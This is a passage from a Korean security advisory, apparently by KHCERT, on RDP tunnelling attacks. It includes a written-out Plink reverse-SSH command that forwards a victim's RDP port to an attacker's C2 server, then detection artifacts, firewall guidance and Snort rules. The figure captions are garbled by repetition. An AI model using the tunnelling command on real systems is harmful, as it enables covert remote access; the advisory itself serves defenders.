[[[[[[[그림 그림 그림 그림 그림 그림 그림 ⅡⅡⅡⅡⅡⅡⅡ-10] -10] -10] -10] -10] -10] -10] RDPwrapRDPwrapRDPwrapRDPwrapRDPwrapRDPwrapRDPwrap의 의 의 의 의 의 의 RDPConf RDPConf RDPConf RDPConf RDPConf RDPConf RDPConf 실행 실행 실행 실행 실행 실행 실행 (((((((출처출처출처출처출처출처출처:KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT)[그림 Ⅱ-10] RDPwrap의 RDPConf 실행 (출처:KHCERT)

(3) 3단계 : 터널 만들기
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RDP 연결을 터널링하는데 사용되는 일반적인 유틸리티는 Plink라고 하는 PuTTY 

제품군의 프로그램이다. 임의의 출발지 및 목적지 포트를 사용하여 다른 시스템에 

SSH(Secure Shell) 네트워크 연결을 설정하는데 사용할 수 있다. 이 프로그램을 

사용하면 RDP포트가 Linux 시스템, 공격자 C2(C&C) 서버와 다시 통신할 수 있도록 

암호화된 터널을 만들 수 있다.

<Plink 실행 명령어 예제>

plink.exe <users>@<IP or domain> -pw <password> -p 22 –2 –4 –T –N –C

–R 12345:127.0.0.1:3389

  ㆍ-p : 특정 포트에 연결(이 경우 “22”, SSH)

  ㆍ-2 : 프로토콜 버전2 강제 사용

  ㆍ-4 : IPv4 강제 사용

  ㆍ-T : pty 할당 비활성화

  ㆍ-N : shell/command 시작 안함(SSH-2만 해당)

  ㆍ-C : 압축 활성화

  ㆍ-R : 원격 포트를 로컬 주소로 전달(12345 포트의 연결을 127.0.0.1:3389로 전달)

    ※ 명령어에 포함된 users는 RDP가 아니라 SSH 연결을 위한 것

    ※ IP는 SSH서버용(Linux 시스템)

피해자의 시스템에서는 다음과 같이 plink 실행 명령어를 사용할 수 있다.

[[[[[[[그림 그림 그림 그림 그림 그림 그림 ⅡⅡⅡⅡⅡⅡⅡ-11] -11] -11] -11] -11] -11] -11] 피해 피해 피해 피해 피해 피해 피해 시스템에서 시스템에서 시스템에서 시스템에서 시스템에서 시스템에서 시스템에서 PlinkPlinkPlinkPlinkPlinkPlinkPlink이용 이용 이용 이용 이용 이용 이용 RDPRDPRDPRDPRDPRDPRDP터널 터널 터널 터널 터널 터널 터널 연결 연결 연결 연결 연결 연결 연결 (((((((출처출처출처출처출처출처출처:KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT)[그림 Ⅱ-11] 피해 시스템에서 Plink이용 RDP터널 연결 (출처:KHCERT)

사용자 “newton”과 암호를 사용하여 Linux 시스템에서 SSH에 연결한다.

포트가 열려 있는지 확인하기 위해 Linux 시스템으로 이동하여 다음 명령어를 사용

하면 “12345” 포트가 어디에서나 열려 있는 것을 확인할 수 있다.

netstat –nltp
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[[[[[[[그림 그림 그림 그림 그림 그림 그림 ⅡⅡⅡⅡⅡⅡⅡ-12] -12] -12] -12] -12] -12] -12] Linux Linux Linux Linux Linux Linux Linux 시스템에서 시스템에서 시스템에서 시스템에서 시스템에서 시스템에서 시스템에서 “12345”“12345”“12345”“12345”“12345”“12345”“12345”포트 포트 포트 포트 포트 포트 포트 오픈 오픈 오픈 오픈 오픈 오픈 오픈 확인 확인 확인 확인 확인 확인 확인 (((((((출처출처출처출처출처출처출처:KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT)[그림 Ⅱ-12] Linux 시스템에서 “12345”포트 오픈 확인 (출처:KHCERT)

(4) 4단계 : 터널을 이용한 RDP 연결

공격자의 Windows 시스템에서 RDP를 실행하고 Linux 시스템의 IP와 “12345” 포트를 

입력하여 접속을 시도한다.

[[[[[[[그림 그림 그림 그림 그림 그림 그림 ⅡⅡⅡⅡⅡⅡⅡ-13] -13] -13] -13] -13] -13] -13] 공격자 공격자 공격자 공격자 공격자 공격자 공격자 PCPCPCPCPCPCPC에서 에서 에서 에서 에서 에서 에서 Linux Linux Linux Linux Linux Linux Linux 시스템으로 시스템으로 시스템으로 시스템으로 시스템으로 시스템으로 시스템으로 접속 접속 접속 접속 접속 접속 접속 (((((((출처출처출처출처출처출처출처:KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT)[그림 Ⅱ-13] 공격자 PC에서 Linux 시스템으로 접속 (출처:KHCERT)

RDP 연결은 Linux SSH 서버에서 수신하고 피해자의 컴퓨터(127.0.0.1:3389)로 포워딩한다.

(5) 분석

[그림 Ⅱ-14]와 같이 피해자의 컴퓨터에서 네트워크 트래픽을 확인하면 암호화된 

SSH 통신만 표시될 뿐 RDP와 관련된 통신은 찾을 수 없다.

[[[[[[[그림 그림 그림 그림 그림 그림 그림 ⅡⅡⅡⅡⅡⅡⅡ-14] -14] -14] -14] -14] -14] -14] 피해자피해자피해자피해자피해자피해자피해자PCPCPCPCPCPCPC의 의 의 의 의 의 의 네트워크 네트워크 네트워크 네트워크 네트워크 네트워크 네트워크 패킷 패킷 패킷 패킷 패킷 패킷 패킷 (((((((출처출처출처출처출처출처출처:KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT)[그림 Ⅱ-14] 피해자PC의 네트워크 패킷 (출처:KHCERT)

피해 시스템의 윈도우 이벤트 뷰어에서 이벤트 4624를 통해 127.0.0.1로부터 
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remote1 계정을 사용하여 원격 데스크톱 연결이 발생했음을 확인할 수 있다. 로그

온 유형(Logon Type) 10은 원격 데스크톱 연결을 의미한다.

[[[[[[[그림 그림 그림 그림 그림 그림 그림 ⅡⅡⅡⅡⅡⅡⅡ-15] -15] -15] -15] -15] -15] -15] 피해 피해 피해 피해 피해 피해 피해 시스템의 시스템의 시스템의 시스템의 시스템의 시스템의 시스템의 RDP RDP RDP RDP RDP RDP RDP 연결 연결 연결 연결 연결 연결 연결 관련 관련 관련 관련 관련 관련 관련 이벤트 이벤트 이벤트 이벤트 이벤트 이벤트 이벤트 로그 로그 로그 로그 로그 로그 로그 (((((((출처출처출처출처출처출처출처:KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT)[그림 Ⅱ-15] 피해 시스템의 RDP 연결 관련 이벤트 로그 (출처:KHCERT)
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03
 ● ● ●

보안 대책

1 호스트 기반 보안대책

RDP가 활성화된 경우 공격자는 터널링 또는 포트 포워딩 환경에서 측면이동을 

통해 지속적으로 위협을 가할 수 있다. 이러한 유형의 RDP 공격에 대한 취약성을 

완화하고 탐지하기 위해 조직은 호스트 및 네트워크 기반 예방 및 탐지에 중점을 

두고 대응해야 한다.

(1) 호스트 기반 예방

○ 원격 데스크톱 서비스 비활성화 : 원격 연결에 서비스가 필요하지 않은 모든 최종 

사용자 워크 스테이션 및 시스템에서 원격 데스크톱 서비스를 비활성화

▶ 윈도우 키( ) + R → 실행 창에서 “sysdm.cpl” 입력

[[[[[[[그림 그림 그림 그림 그림 그림 그림 ⅢⅢⅢⅢⅢⅢⅢ-1] -1] -1] -1] -1] -1] -1] 실행창 실행창 실행창 실행창 실행창 실행창 실행창 sysdm.cplsysdm.cplsysdm.cplsysdm.cplsysdm.cplsysdm.cplsysdm.cpl입력 입력 입력 입력 입력 입력 입력 (((((((출처출처출처출처출처출처출처:KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT)[그림 Ⅲ-1] 실행창 sysdm.cpl입력 (출처:KHCERT)

▶ 시스템 속성 창에서 “원격” 탭 선택 → “이 컴퓨터에 대한 원격 연결 허용 안 함” 

선택 후 “확인”
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[[[[[[[그림 그림 그림 그림 그림 그림 그림 ⅢⅢⅢⅢⅢⅢⅢ-2] -2] -2] -2] -2] -2] -2] 원격 원격 원격 원격 원격 원격 원격 데스크톱 데스크톱 데스크톱 데스크톱 데스크톱 데스크톱 데스크톱 설정 설정 설정 설정 설정 설정 설정 (((((((출처출처출처출처출처출처출처:KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT)[그림 Ⅲ-2] 원격 데스크톱 설정 (출처:KHCERT)

○ 호스트 기반 방화벽 : 인바운드 RDP 연결을 명시적으로 거부하는 호스트 기반 

방화벽 규칙을 활성화

▶ 윈도우 키( ) + R → 실행 창에서 “firewall.cpl” 입력

[[[[[[[그림 그림 그림 그림 그림 그림 그림 ⅢⅢⅢⅢⅢⅢⅢ-3] -3] -3] -3] -3] -3] -3] 실행창 실행창 실행창 실행창 실행창 실행창 실행창 firewall.cpl firewall.cpl firewall.cpl firewall.cpl firewall.cpl firewall.cpl firewall.cpl 입력 입력 입력 입력 입력 입력 입력 (((((((출처출처출처출처출처출처출처:KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT)[그림 Ⅲ-3] 실행창 firewall.cpl 입력 (출처:KHCERT)

▶ “고급 설정” 선택

[[[[[[[그림 그림 그림 그림 그림 그림 그림 ⅢⅢⅢⅢⅢⅢⅢ-4] -4] -4] -4] -4] -4] -4] 윈도우 윈도우 윈도우 윈도우 윈도우 윈도우 윈도우 방화벽 방화벽 방화벽 방화벽 방화벽 방화벽 방화벽 설정 설정 설정 설정 설정 설정 설정 (((((((출처출처출처출처출처출처출처:KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT)[그림 Ⅲ-4] 윈도우 방화벽 설정 (출처:KHCERT)
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▶ 인바운드 규칙 → 새 규칙 선택

[[[[[[[그림 그림 그림 그림 그림 그림 그림 ⅢⅢⅢⅢⅢⅢⅢ-5] -5] -5] -5] -5] -5] -5] 윈도우 윈도우 윈도우 윈도우 윈도우 윈도우 윈도우 방화벽 방화벽 방화벽 방화벽 방화벽 방화벽 방화벽 고급 고급 고급 고급 고급 고급 고급 설정에서 설정에서 설정에서 설정에서 설정에서 설정에서 설정에서 규칙 규칙 규칙 규칙 규칙 규칙 규칙 추가추가추가추가추가추가추가① ① ① ① ① ① ① (((((((출처출처출처출처출처출처출처:KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT)[그림 Ⅲ-5] 윈도우 방화벽 고급 설정에서 규칙 추가① (출처:KHCERT)

▶ 포트 선택 후 “다음” 클릭

[[[[[[[그림 그림 그림 그림 그림 그림 그림 ⅢⅢⅢⅢⅢⅢⅢ-6] -6] -6] -6] -6] -6] -6] 윈도우 윈도우 윈도우 윈도우 윈도우 윈도우 윈도우 방화벽 방화벽 방화벽 방화벽 방화벽 방화벽 방화벽 고급 고급 고급 고급 고급 고급 고급 설정에서 설정에서 설정에서 설정에서 설정에서 설정에서 설정에서 규칙 규칙 규칙 규칙 규칙 규칙 규칙 추가추가추가추가추가추가추가② ② ② ② ② ② ② (((((((출처출처출처출처출처출처출처:KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT)[그림 Ⅲ-6] 윈도우 방화벽 고급 설정에서 규칙 추가② (출처:KHCERT)

▶ RDP 기본 포트 번호를 입력 후 “다음” 클릭

[[[[[[[그림 그림 그림 그림 그림 그림 그림 ⅢⅢⅢⅢⅢⅢⅢ-7] -7] -7] -7] -7] -7] -7] 윈도우 윈도우 윈도우 윈도우 윈도우 윈도우 윈도우 방화벽 방화벽 방화벽 방화벽 방화벽 방화벽 방화벽 고급 고급 고급 고급 고급 고급 고급 설정에서 설정에서 설정에서 설정에서 설정에서 설정에서 설정에서 규칙 규칙 규칙 규칙 규칙 규칙 규칙 추가추가추가추가추가추가추가③ ③ ③ ③ ③ ③ ③ (((((((출처출처출처출처출처출처출처:KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT)[그림 Ⅲ-7] 윈도우 방화벽 고급 설정에서 규칙 추가③ (출처:KHCERT)
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▶ “연결 차단” 선택 후 “다음” 클릭

[[[[[[[그림 그림 그림 그림 그림 그림 그림 ⅢⅢⅢⅢⅢⅢⅢ-8] -8] -8] -8] -8] -8] -8] 윈도우 윈도우 윈도우 윈도우 윈도우 윈도우 윈도우 방화벽 방화벽 방화벽 방화벽 방화벽 방화벽 방화벽 고급 고급 고급 고급 고급 고급 고급 설정에서 설정에서 설정에서 설정에서 설정에서 설정에서 설정에서 규칙 규칙 규칙 규칙 규칙 규칙 규칙 추가추가추가추가추가추가추가④ ④ ④ ④ ④ ④ ④ (((((((출처출처출처출처출처출처출처:KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT)[그림 Ⅲ-8] 윈도우 방화벽 고급 설정에서 규칙 추가④ (출처:KHCERT)

▶ 표시된 항목을 모두 체크 후 “다음” 클릭

[[[[[[[그림 그림 그림 그림 그림 그림 그림 ⅢⅢⅢⅢⅢⅢⅢ-9] -9] -9] -9] -9] -9] -9] 윈도우 윈도우 윈도우 윈도우 윈도우 윈도우 윈도우 방화벽 방화벽 방화벽 방화벽 방화벽 방화벽 방화벽 고급 고급 고급 고급 고급 고급 고급 설정에서 설정에서 설정에서 설정에서 설정에서 설정에서 설정에서 규칙 규칙 규칙 규칙 규칙 규칙 규칙 추가추가추가추가추가추가추가⑤ ⑤ ⑤ ⑤ ⑤ ⑤ ⑤ (((((((출처출처출처출처출처출처출처:KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT)[그림 Ⅲ-9] 윈도우 방화벽 고급 설정에서 규칙 추가⑤ (출처:KHCERT)

▶  규칙 이름을 입력 후 “마침” 클릭 → PC 재부팅

[[[[[[[그림 그림 그림 그림 그림 그림 그림 ⅢⅢⅢⅢⅢⅢⅢ-10] -10] -10] -10] -10] -10] -10] 윈도우 윈도우 윈도우 윈도우 윈도우 윈도우 윈도우 방화벽 방화벽 방화벽 방화벽 방화벽 방화벽 방화벽 고급 고급 고급 고급 고급 고급 고급 설정에서 설정에서 설정에서 설정에서 설정에서 설정에서 설정에서 규칙 규칙 규칙 규칙 규칙 규칙 규칙 추가추가추가추가추가추가추가⑥ ⑥ ⑥ ⑥ ⑥ ⑥ ⑥ (((((((출처출처출처출처출처출처출처:KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT)[그림 Ⅲ-10] 윈도우 방화벽 고급 설정에서 규칙 추가⑥ (출처:KHCERT)
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○ 로컬 계정 : “원격 데스크톱 서비스를 통한 로그온 거부” 보안 설정을 활성화하여 

시스템에 로컬 계정을 사용하는 RDP 접속을 방지

▶ 윈도우 키( ) + R → 실행 창에서 “gpedit.msc” 입력

▶ 컴퓨터 구성 → Windows 설정 → 보안 설정 → 로컬 정책 → 사용자 권한 할당

(“원격 데스크톱 서비스를 통한 로그온 허용”에 계정이 있으면 삭제하고, “원격 

데스크톱 서비스를 통한 로그온 거부” 항목에 계정 추가)

[[[[[[[그림 그림 그림 그림 그림 그림 그림 ⅢⅢⅢⅢⅢⅢⅢ-11] -11] -11] -11] -11] -11] -11] RDP RDP RDP RDP RDP RDP RDP 로그온 로그온 로그온 로그온 로그온 로그온 로그온 거부 거부 거부 거부 거부 거부 거부 설정 설정 설정 설정 설정 설정 설정 (((((((출처출처출처출처출처출처출처:KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT)[그림 Ⅲ-11] RDP 로그온 거부 설정 (출처:KHCERT)
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(2) 호스트 기반 탐지

○ 레지스트리 키

▶ RDP 터널링 공격에 악용될 수 있는 Plink 연결과 관련된 레지스트리 키를 검토

하여 인가되지 않은 연결을 탐지할 수 있다. 기본적으로 PuTTY와 Plink 모두 

Windows 시스템의 다음 레지스트리 키에 세션 정보와 이전에 연결된 SSH 서버를 

저장한다. (HKEY_CURRENT_USER\SoftWare\SimonTatham\PuTTY\SshHostKeys)

[[[[[[[그림 그림 그림 그림 그림 그림 그림 ⅢⅢⅢⅢⅢⅢⅢ-12] -12] -12] -12] -12] -12] -12] 레지스트리에 레지스트리에 레지스트리에 레지스트리에 레지스트리에 레지스트리에 레지스트리에 저장된 저장된 저장된 저장된 저장된 저장된 저장된 SSH SSH SSH SSH SSH SSH SSH 연결정보 연결정보 연결정보 연결정보 연결정보 연결정보 연결정보 검토 검토 검토 검토 검토 검토 검토 (((((((출처출처출처출처출처출처출처:KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT)[그림 Ⅲ-12] 레지스트리에 저장된 SSH 연결정보 검토 (출처:KHCERT)

▶ 마찬가지로 netsh를 통해 PortProxy 구성을 생성한 경우 다음 Windows 레지스

트리 키와 함께 저장되므로 RDP 터널링 공격을 발견할 수 있다. 

(HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4)

[[[[[[[그림 그림 그림 그림 그림 그림 그림 ⅢⅢⅢⅢⅢⅢⅢ-13] -13] -13] -13] -13] -13] -13] 레지스트리에 레지스트리에 레지스트리에 레지스트리에 레지스트리에 레지스트리에 레지스트리에 저장된 저장된 저장된 저장된 저장된 저장된 저장된 포트포워딩 포트포워딩 포트포워딩 포트포워딩 포트포워딩 포트포워딩 포트포워딩 목록 목록 목록 목록 목록 목록 목록 검토 검토 검토 검토 검토 검토 검토 (((((((출처출처출처출처출처출처출처:KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT)[그림 Ⅲ-13] 레지스트리에 저장된 포트포워딩 목록 검토 (출처:KHCERT)

▶ 이러한 레지스트리 키를 수집하고 검토하면 인가된 SSH연결과 인가되지 않은 

터널링 활동을 모두 식별 할수 있다. 각 아티팩트의 목적을 확인하기 위해 추가 

검토가 필요할 수 있다.
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○ 이벤트 로그

▶ 로그온 이벤트에 대한 로그를 검토한다. 일반적인 RDP 로그온 이벤트는 아래의 

Windows 시스템 이벤트 로그에 포함된다.

ㆍ%systemroot%\Windows\System32\winevt\Logs\Microsoft-Windows-Terminal

Services-LocalSessionManager%4Operational.evtx

ㆍ%systemroot%\Windows\System32\winevt\Logs\Security.evtx

▶ "TerminalServices-LocalSessionManager"로그에는 EID 21로 식별되는 성공적인 

로컬 또는 원격 로그온 이벤트와 정상적인 사용자 로그 아웃으로 종료되지 않고 

이전에 설정된 RDP 세션의 재연결인 EID 25로 식별된다. "Security.evtx" 로그에는 

EID 4624로 식별되는 로그온 유형(logon type 10)일 경우 성공적인 RDP 연결로 

확인할 수 있다. 로컬 호스트 IP(127.0.0.1 ~ 127.255.255.255)로 기록된 원본 IP 

주소는 터널링된 로그온을 나타낸다. 이는 localhost 포트에서 localhost RDP 포트

(TCP 3389)로 수신하기 때문이다.

○ "plink.exe" 파일 실행 여부 확인

(공격자는 탐지를 피하기 위해 파일 이름을 변경할 수 있다는 것을 고려)

▶ Shimcache

ㆍ응용 프로그램 간 호환성을 제어하고 트러블슈팅과 문제 해결을 위해 만든 파일로 

악성코드 실행 시 호환성 문제 발생하기 때문에 침해사고 분석에 활용된다.

ㆍ모든 실행 파일의 경로, 크기, 마지막 수정시간, 마지막 실행 시간 등의 정보를 저장

하기 때문에 특정 악성코드가 실행된 시스템을 식별할 수 있다.

[[[[[[[그림 그림 그림 그림 그림 그림 그림 ⅢⅢⅢⅢⅢⅢⅢ-14] -14] -14] -14] -14] -14] -14] ShimCaChe ShimCaChe ShimCaChe ShimCaChe ShimCaChe ShimCaChe ShimCaChe 관련 관련 관련 관련 관련 관련 관련 파일 파일 파일 파일 파일 파일 파일 (((((((출처출처출처출처출처출처출처:KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT)[그림 Ⅲ-14] ShimCaChe 관련 파일 (출처:KHCERT)
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▶ Amcache

ㆍ윈도우7에서의 RecentFileCache.bcf 파일이 윈도우 8에서는 Amcache.hve 파일로 

대체된 것이다. 프로그램 호환성 관리자와 관련된 레지스트리 하이브 파일로 응용

프로그램의 실행정보 저장한다. 응용프로그램의 실행경로, 최초 실행시간, 삭제시간 

정보 등을 저장하고 프리패치 파일과 병행하면 프로그램의 전체적인 타임라인을 

구성할 수 있다.

[[[[[[[그림 그림 그림 그림 그림 그림 그림 ⅢⅢⅢⅢⅢⅢⅢ-15] -15] -15] -15] -15] -15] -15] Amcache Amcache Amcache Amcache Amcache Amcache Amcache 관련 관련 관련 관련 관련 관련 관련 파일 파일 파일 파일 파일 파일 파일 (((((((출처출처출처출처출처출처출처:KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT)[그림 Ⅲ-15] Amcache 관련 파일 (출처:KHCERT)

▶ Jumplist

ㆍWindows7에서 새롭게 추가된 Artifacts로 응용프로그램별로 그룹화되어 있다. 

사용자가 자주 사용하거나 최근에 사용한 문서 또는 프로그램을 관리하는 링크 

파일이다.(미디어 파일은 제외)

[[[[[[[그림 그림 그림 그림 그림 그림 그림 ⅢⅢⅢⅢⅢⅢⅢ-16] -16] -16] -16] -16] -16] -16] 최근 최근 최근 최근 최근 최근 최근 파일에 파일에 파일에 파일에 파일에 파일에 파일에 대한 대한 대한 대한 대한 대한 대한 링크를 링크를 링크를 링크를 링크를 링크를 링크를 관리하는 관리하는 관리하는 관리하는 관리하는 관리하는 관리하는 파일 파일 파일 파일 파일 파일 파일 (((((((출처출처출처출처출처출처출처:KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT)[그림 Ⅲ-16] 최근 파일에 대한 링크를 관리하는 파일 (출처:KHCERT)
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▶ Prefetch

ㆍ윈도우 XP부터 운영체제에서 제공하는 메모리 관리 정책으로 실행파일을 메모리로 

로딩할 때 효율을 올리기 위해 개발되었다. 컴퓨터에 장착된 드라이버와 서비스, 

폴더 정보, 어플리케이션 정보 등을 미리 읽는다. 응용프로그램의 이름, 실행 횟수, 

마지막 실행 시간, 볼륨 정보 등 저장하고, Layout.ini 파일에는 프리패치 파일에 

대한 목록을 저장한다.

[[[[[[[그림 그림 그림 그림 그림 그림 그림 ⅢⅢⅢⅢⅢⅢⅢ-17] -17] -17] -17] -17] -17] -17] 프리패치 프리패치 프리패치 프리패치 프리패치 프리패치 프리패치 파일 파일 파일 파일 파일 파일 파일 경로 경로 경로 경로 경로 경로 경로 (((((((출처출처출처출처출처출처출처:KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT)[그림 Ⅲ-17] 프리패치 파일 경로 (출처:KHCERT)
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2 네트워크 기반 보안대책

(1) 네트워크 기반 예방

○ 원격 연결 : 연결을 위해 RDP가 필요한 경우 지정된 점프 박스 또는 중앙 집중식 

관리 서버에서 시작되도록 연결을 적용한다.

○ 도메인 계정 : 권한 있는 계정(예 : 도메인 관리자) 및 서비스 계정에 대해 "원격 

데스크톱 서비스를 통한 로그온 거부" 보안 설정을 사용한다. 이러한 유형의 

계정은 공격자가 측면 이동하는데 악용될 수 있다.

(2) 네트워크 기반 탐지

○ 방화벽 규칙 : 기존 방화벽 규칙을 검토하여 포트포워딩에 대한 취약 영역을 식

별해야 한다. 포트포워딩의 사용 가능성 외에도 네트워크에서 내부 시스템 간의 

통신에 대한 모니터링을 수행해야 한다. 내부 시스템 간의 통신은 필요한 경우

를 제외하고 차단하기 위해 방화벽 규칙을 적용할 수 있다.

○ 네트워크 트래픽 : 검사 대상 포트에서 통신하는 모든 트래픽이 보이는 것은 

아니다. 예를 들어, 위협 행위자는 TCP 포트 80 또는 443을 사용하여 원격 서버와의 

RDP 터널을 설정할 수 있다. 네트워크 트래픽을 자세히 조사하면 실제로 HTTP 

또는 HTTPS가 아니라 전혀 다른 트래픽임을 알 수 있다. 따라서 조직은 네트워크 

트래픽을 자세히 모니터링 해야한다.

○ Snort 규칙 : RDP 터널링 공격을 탐지할 수 있는 주요 지표는 RDP 핸드셰이크에 

일반적으로 다른 프로토콜(SSH 등)에 사용되는 발신지 포트가 사용된다는 것이다. 

아래는 일반적으로 다른 프로토콜에 사용되는 발신지 포트를 식별하여 보안팀이 

네트워크 트래픽에서 RDP 터널링을 탐지하는데 도움이 되는 샘플 Snort 규칙이다.

alert tcp any [21,22,23,25,53,80,443,8080] -> any !3389 (msg:"RDP - HANDSHA

KE [Tunneled msts]"; dsize:<65; content:"|03 00 00|"; depth:3; content:"|e0|"; dist

ance:2; within:1; content:"Cookie: mstshash="; distance:5; within:17; sid:1; rev:1;)

alert tcp any [21,22,23,25,53,80,443,8080] -> any !3389 (msg:"RDP - HANDSHA

KE [Tunneled]"; flow:established; content:"|c0 00|Duca"; depth:250; content:"rdpd

r"; content:"cliprdr"; sid:2; rev:1;)
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